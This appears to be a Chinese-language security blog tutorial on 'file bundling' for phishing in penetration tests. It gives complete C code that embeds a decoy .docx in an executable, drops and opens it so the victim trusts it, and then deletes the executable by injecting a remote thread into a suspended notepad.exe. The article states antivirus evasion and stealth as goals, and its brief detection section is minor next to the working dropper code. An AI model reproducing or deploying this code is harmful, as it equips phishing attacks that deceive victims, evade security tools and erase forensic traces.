关于文件捆绑的实现
字数 1257 2025-08-06 20:12:36
文件捆绑实现技术详解
0x01 技术介绍
文件捆绑是一种将多个文件合并为一个可执行文件的技术,常用于渗透测试中的钓鱼攻击场景。其核心目的是:
- 释放正常的诱饵文件(如Word文档)
- 执行诱饵文件增加可信度
- 实现自删除功能清除痕迹
相比传统捆绑工具,使用资源文件实现捆绑具有更好的免杀效果,因为:
- 资源文件是Windows可执行文件的合法组成部分
- 不依赖第三方工具,减少特征检测
- 可自定义释放逻辑,规避行为检测
0x02 关键API函数
资源操作相关API
- FindResourceA
HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in] LPCSTR lpName,
[in] LPCSTR lpType
);
- 功能:定位资源文件中特定资源
- 参数:
hModule: 模块句柄,NULL表示当前模块lpName: 资源ID,需用MAKEINTRESOURCEA宏处理lpType: 资源类型(如"docx")
- LoadResource
HGLOBAL LoadResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
);
- 功能:加载指定资源到内存
- SizeofResource
DWORD SizeofResource(
[in, optional] HMODULE hModule,
[in] HRSRC hResInfo
);
- 功能:获取资源大小
- LockResource
LPVOID LockResource(
[in] HGLOBAL hResData
);
- 功能:获取指向资源数据的指针
文件操作相关API
- CreateFileA
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
- 关键参数:
dwCreationDisposition: 指定文件存在时的行为,常用CREATE_ALWAYS(总是创建)
- WriteFile
BOOL WriteFile(
[in] HANDLE hFile,
[in] LPCVOID lpBuffer,
[in] DWORD nNumberOfBytesToWrite,
[out, optional] LPDWORD lpNumberOfBytesWritten,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
- ShellExecuteExA
BOOL ShellExecuteExA(
[in, out] SHELLEXECUTEINFOA *pExecInfo
);
- 用于执行释放的诱饵文件
0x03 实现步骤
1. 创建资源文件
-
在Visual Studio中:
- 右键项目 → 添加 → 资源
- 选择"导入",文件类型选"所有文件"
- 指定资源类型(如"docx")
- 编译后文件将嵌入EXE中
-
查看资源ID:
- 打开.rc文件 → 资源视图
- 右键资源 → 资源符号
- 记录ID值(如101)和名称(如IDR_DOCX1)
2. 代码实现
#include <iostream>
#include <windows.h>
#include "Bundled.h"
// 自删除线程函数
DWORD64 WINAPI threadProc(LPVOID lParam) {
INT RET = 20000;
for (size_t i = 0; i < 20000; i++) {
RET = RET - 1;
}
// 延时确保文件操作完成
wDeleteFileA kDeleteFileA;
DeleteStruct* DS = (DeleteStruct*)lParam;
kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
kDeleteFileA(DS->dwDeleteFile_param_1); // 执行删除
return RET;
}
int main(int argc, char* argv[]) {
CHAR PathFileName[MAX_PATH] = { 0 };
CHAR FileName[MAX_PATH] = { 0 };
// 1. 获取资源
HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
DWORD FileSize = SizeofResource(NULL, Resource);
LPVOID PFILE = LockResource(ResourceGlobal);
// 2. 构造输出文件名
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
// 修改后缀为docx
for (size_t i = 0; i < MAX_PATH; i++) {
if(FileName[i] == '.') {
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
// 3. 写入文件
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// 4. 执行诱饵文件
SHELLEXECUTEINFOA shellexecute = { 0 };
shellexecute.cbSize = sizeof(shellexecute);
shellexecute.lpFile = FileName;
shellexecute.nShow = SW_SHOW;
ShellExecuteExA(&shellexecute);
// 5. 自删除实现
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE,
CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
// 远程线程注入
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
CloseHandle(Thread);
}
3. 头文件定义
// Bundled.h
#pragma once
#include<Windows.h>
typedef struct DeleteStruct {
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};
typedef BOOL(WINAPI* wDeleteFileA)(_In_ LPCSTR lpFileName);
0x04 技术要点
-
资源文件处理
- 资源类型可以自定义(如"docx")
- 资源ID需要通过
MAKEINTRESOURCEA宏转换 - 资源操作遵循:查找→加载→获取大小→锁定指针的流程
-
文件名处理
- 使用
GetModuleFileNameA获取当前路径 - 通过字符串操作修改后缀名
- 实现动态文件名匹配,增强灵活性
- 使用
-
自删除技术
- 采用远程线程注入notepad.exe的方式
- 通过结构体传递API函数指针和参数
- 添加延时确保文件操作完成
-
免杀增强
- 使用合法API,避免可疑函数
- 资源文件是Windows合法机制
- 可添加图标资源增强可信度
0x05 防御检测
防御方应注意:
- 检测可疑的资源类型
- 监控
CreateFile+WriteFile+ShellExecuteEx的调用链 - 分析程序是否包含不匹配的图标资源
- 检测远程线程注入行为
0x06 总结
这种基于资源文件的捆绑技术相比传统方法具有更好的隐蔽性,通过合理使用Windows API可以实现免杀效果。关键在于:
- 正确嵌入和处理资源文件
- 妥善处理文件释放路径
- 实现可靠的自删除机制
- 保持程序行为的自然性
通过调整资源类型、执行逻辑和自删除方式,可以衍生出多种变体,适应不同的渗透测试场景。